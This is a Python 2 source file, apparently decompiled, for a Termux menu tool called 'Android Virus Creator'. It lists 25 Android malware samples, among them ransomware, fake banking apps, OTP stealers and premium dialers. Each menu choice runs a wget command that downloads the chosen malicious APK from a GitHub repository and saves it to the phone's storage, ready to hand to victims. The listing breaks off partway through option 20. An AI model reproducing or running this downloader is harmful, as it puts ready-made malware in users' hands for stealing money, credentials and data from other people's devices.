] | 41 | 2020-03-16T22:36:38.000Z | 2022-03-17T14:47:19.000Z | # At Time : Fri May 15 00:30:21 2020
# Python bytecode 2.7
import urllib, os, sys, time
red = '\x1b[1;91m'
green = '\x1b[1;92m'
yellow = '\x1b[1;93m'
blue = '\x1b[1;94m'
purple = '\x1b[1;95m'
cyan = '\x1b[1;96m'
white = '\x1b[1;97m'
def slowprint(s):
for c in s + '\n':
sys.stdout.write(c)
sys.stdout.flush()
time.sleep(0.2 / 100)
def exit():
print ''
print '\x1b[41mEXITING PROGRAM\x1b[00m'
slowprint('Thanks for using this tools !')
slowprint('Suppprt me on youtube : SAYDOG')
slowprint('Exiting Program ...')
os.system('xdg-open https://www.youtube.com/channel/UCDoJC1ZJ_SmYKZZLD8PBmcQ')
os.system('exit')
logo = '\n\x1b[1;92m\n \xe2\x95\xb2 \xe2\x96\x81\xe2\x96\x82\xe2\x96\x82\xe2\x96\x82\xe2\x96\x81 \xe2\x95\xb1\n \xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\n \xe2\x96\x84\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\n \xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\n \xe2\x96\x84\xe2\x96\x88 \xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84 \xe2\x96\x88\xe2\x96\x84 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\n \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\n \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \x1b[1;91mVIRUS \x1b[1;92m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\n \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\n \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\n \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\n \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\n \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 \x1b[41m\x1b[1;97mANDROID VIRUS CREATOR BY IQBALMH18\x1b[00m\x1b[1;92m\n \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88\x1b[00m\n'
def app():
os.system('clear')
slowprint(logo)
slowprint('VIRUS APP FOR ANDROID')
slowprint('After you creating Virus App please check your connections')
slowprint('Your termux must have a permissions to storage for save to /sdcard')
print ''
print ' VIRUS NAME LEVEL'
print '-------------------- --------'
print '\x1b[1;33m 1.\x1b[00m Advance OBF\x1b[1;91m Good'
print '\x1b[1;33m 2.\x1b[00m Agent\x1b[1;91m Good'
print '\x1b[1;33m 3.\x1b[00m Bad News\x1b[1;91m Exellent'
print '\x1b[1;33m 4.\x1b[00m BiOs\x1b[1;91m Exellent'
print '\x1b[1;33m 5.\x1b[00m Blat SMS\x1b[1;91m Good'
print '\x1b[1;33m 6.\x1b[00m Brain Test\x1b[1;91m Good'
print '\x1b[1;33m 7.\x1b[00m CRD Informations\x1b[1;91m Exellent'
print '\x1b[1;33m 8.\x1b[00m Candy Corn\x1b[1;91m Good'
print '\x1b[1;33m 9.\x1b[00m Cats Ransom\x1b[1;91m Exellent'
print '\x1b[1;33m10.\x1b[00m Chis Cortos\x1b[1;91m Good'
print '\x1b[1;33m11.\x1b[00m Chis Ticos\x1b[1;91m Good'
print '\x1b[1;33m12.\x1b[00m Claco\x1b[1;91m Exellent'
print '\x1b[1;33m13.\x1b[00m Dend Droid\x1b[1;91m Exellent'
print '\x1b[1;33m14.\x1b[00m Drop Dialer\x1b[1;91m Exellent'
print '\x1b[1;33m15.\x1b[00m Elite VIP\x1b[1;91m Exellent'
print '\x1b[1;33m16.\x1b[00m Facebook OTP\x1b[1;91m Good'
print '\x1b[1;33m17.\x1b[00m Fake Bank\x1b[1;91m Good'
print '\x1b[1;33m18.\x1b[00m Fake CMCC\x1b[1;91m Good'
print '\x1b[1;33m19.\x1b[00m Fake OP\x1b[1;91m Good'
print '\x1b[1;33m20.\x1b[00m Fake Valid\x1b[1;91m Good'
print '\x1b[1;33m21.\x1b[00m Fake AV\x1b[1;91m Good'
print '\x1b[1;33m22.\x1b[00m Image Pets\x1b[1;91m Good'
print '\x1b[1;33m23.\x1b[00m Laughther\x1b[1;91m Good'
print '\x1b[1;33m24.\x1b[00m Ohmygodness\x1b[1;91m Exellent'
print '\x1b[1;33m25.\x1b[00m SMS Worker\x1b[1;91m Good'
print '\x1b[1;33m99. Back'
print '\x1b[00m'
pilapp = raw_input('Virus\xc2\xaeDroid > ')
if pilapp == '':
app()
else:
if pilapp == '1' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/AdvanceOBF.apk;mv AdvanceOBF.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/AdvanceOBF.apk;mv AdvanceOBF.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '2' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Agent.apk;mv Agent.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Agent.apk;mv Agent.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '3' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/BAD_NEWS.apk;mv BAD_NEWS.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/BAD_NEWS.apk;mv BAD_NEWS.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '4' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/BiOs.apk;mv BiOs.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/BiOs.apk;mv BiOs.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '5' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/BlatSMS.apk;mv BlatSMS.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/BlatSMS.apk;mv BlatSMS.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '6' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/BrainTest.apk;mv BrainTest.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/BrainTest.apk;mv BrainTest.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '7' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/CRD-Information.apk;mv CRD-Information.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/CRD-Information.apk;mv CRD-Information.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '8' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/CandyCORN.apk;mv CandyCORN.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/CandyCORN.apk;mv CandyCORN.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '9' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Cats.apk;mv Cats.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Cats.apk;mv Cats.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '10' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/ChisCORTOS.apk;mv ChisCORTOS.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/ChisCORTOS.apk;mv ChisCORTOS.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '11' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/ChisTICOS.apk;mv ChisTICOS.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/ChisTICOS.apk;mv ChisTICOS.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '12' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Claco.apk;mv Claco.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Claco.apk;mv Claco.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '13' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Dend-Droid.apk;mv Dend-Droid.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Dend-Droid.apk;mv Dend-Droid.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '14' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Drop-Dialer.apk;mv Drop-Dialer.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Drop-Dialer.apk;mv Drop-Dialer.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '15' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Elite-VIP.apk;mv Elite-VIP.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Elite-VIP.apk;mv Elite-VIP.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '16' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Facebook-OTP.apk;mv Facebook-OTP.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Facebook-OTP.apk;mv Facebook-OTP.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '17' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Fake-BANK.apk;mv Fake-BANK.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Fake-BANK.apk;mv Fake-BANK.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '18' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Fake-CMCC.apk;mv Fake-CMCC.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Fake-CMCC.apk;mv Fake-CMCC.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '19' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Fake-OP.apk;mv Fake-OP.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Fake-OP.apk;mv Fake-OP.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '20' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Fake-Valid.apk;mv Fake-Valid.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
